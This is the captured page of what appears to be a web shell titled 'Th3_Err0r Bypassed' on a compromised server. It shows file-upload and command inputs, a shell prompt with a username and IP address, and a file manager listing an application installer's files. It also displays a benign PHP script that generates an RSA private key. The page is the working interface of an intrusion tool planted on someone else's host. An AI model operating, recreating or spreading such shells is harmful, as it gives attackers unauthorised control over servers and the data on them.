[ Th3_Err0r Bypassed ]




Upload:

Command:

liwaavux@216.73.217.113: ~ $
<?php

// We do not need this file any more
@unlink('privatekey.php');

$ltikey = __mod_lti_verify_private_key();

echo '<kid>'.$ltikey['kid'].'</kid>';
echo '<privatekey>'.$ltikey['privatekey'].'</privatekey>';

function __mod_lti_verify_private_key() {
	global $error;
	
	if (!function_exists('openssl_random_pseudo_bytes')) {
		$error[] = "openssl must be loaded for openssl_random_pseudo_bytes to function";
		return null;
	}
	
	// Create the private key.
	$kid = bin2hex(openssl_random_pseudo_bytes(10));
	
	$config = array(
		"digest_alg" => "sha256",
		"private_key_bits" => 2048,
		"private_key_type" => OPENSSL_KEYTYPE_RSA,
	);
	$res = openssl_pkey_new($config);
	openssl_pkey_export($res, $privatekey);

	return array(
		'kid' => $kid,
		'privatekey' => $privatekey,
	);
}

?>

Filemanager

Name Type Size Permission Actions
images Folder 0755
languages Folder 0755
php53 Folder 0755
php56 Folder 0755
php71 Folder 0755
php81 Folder 0755
NOTES.txt File 1.45 KB 0644
add_admin.php File 733 B 0644
check_utf8.php File 5.88 KB 0644
clone.php File 5.48 KB 0644
config.php File 745 B 0644
edit.php File 5.67 KB 0644
edit.xml File 433 B 0644
fileindex.php File 929 B 0644
import.php File 5.44 KB 0644
info.xml File 3.37 KB 0644
install.js File 924 B 0644
install.php File 19.63 KB 0644
install.xml File 2.57 KB 0644
md5 File 4.02 KB 0644
privatekey.php File 786 B 0644
update_pass.php File 3.17 KB 0644
upgrade.php File 7.94 KB 0644
upgrade.xml File 307 B 0644